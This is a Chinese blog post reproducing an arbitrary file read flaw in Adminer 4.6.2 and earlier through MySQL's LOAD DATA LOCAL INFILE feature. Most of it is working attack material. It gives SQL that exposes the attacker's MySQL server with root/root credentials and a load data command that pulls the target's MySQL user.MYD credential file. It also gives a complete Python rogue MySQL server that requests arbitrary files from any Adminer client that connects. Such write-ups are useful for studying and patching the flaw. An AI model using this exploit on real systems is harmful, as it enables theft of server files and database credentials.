Adminer≤4.6.2 任意文件读取漏洞

地球胖头鱼 2020-10-14
Web安全 发布于 2020-10-14 14:08:54 阅读 60 评论 0

前言

Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持连接远程数据库,github.com/vrana/adminer

漏洞原理

Adminer任意文件读取漏洞其实来源于MySQL“LOAD DATA INFILE”安全问题,原理可参考先知社区@mntn写的“通过MySQL LOAD DATA特性来达到任意文件读取”,Adminer4.6.3版本中已经修复了LOAD DATA LOCAL INFILE问题。

漏洞复现

将我们攻击机的MySQL开启外链,然后执行EXP去读取一个不存在的文件让其报错得到绝对路径,最后再去读取数据库配置等指定文件即可,这里我随便读取的一个文件用于测试。

grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
grant all privileges on *.* to 'root'@'%';    //MySQL8开启外链

也可以在我们攻击机的MySQL创建一个新的数据库和表,然后在Adminer填入攻击机的MySQL服务器IP、用户名、密码和刚创建的数据库名。

create database adminer;                //创建adminer数据库
use adminer;                            //进入adminer数据库
create table test(text text(4096));     //创建test数据表

执行以下SQL语句即可读取指定文件并将读取到的文件内容写入到刚创建的数据表里,不过得注意一下目标机的secure_file_priv选项,当它的值为null时就会读取不了文件了。

load data local infile "D:\\phpStudy\\PHPTutorial\\MySQL\\data\\mysql\\user.MYD" into table test FIELDS TERMINATED BY '\n';

select * from test;        //查看test表内容
truncate table test;       //清空test表内容
drop database adminer;     //删除adminer数据库

利用程序

#coding=utf-8 
import socket
import logging
import sys
logging.basicConfig(level=logging.DEBUG)

filename=sys.argv[1]
sv=socket.socket()
sv.setsockopt(1,2,1)
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

原创:安全回忆录

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章79
  • 作者收获粉丝1
  • 作者收到点赞0
  • 所有文章被收藏了0
  • 博客总访问量排行第5
  • 博客总访问量5036(每日更新)
查看所有博文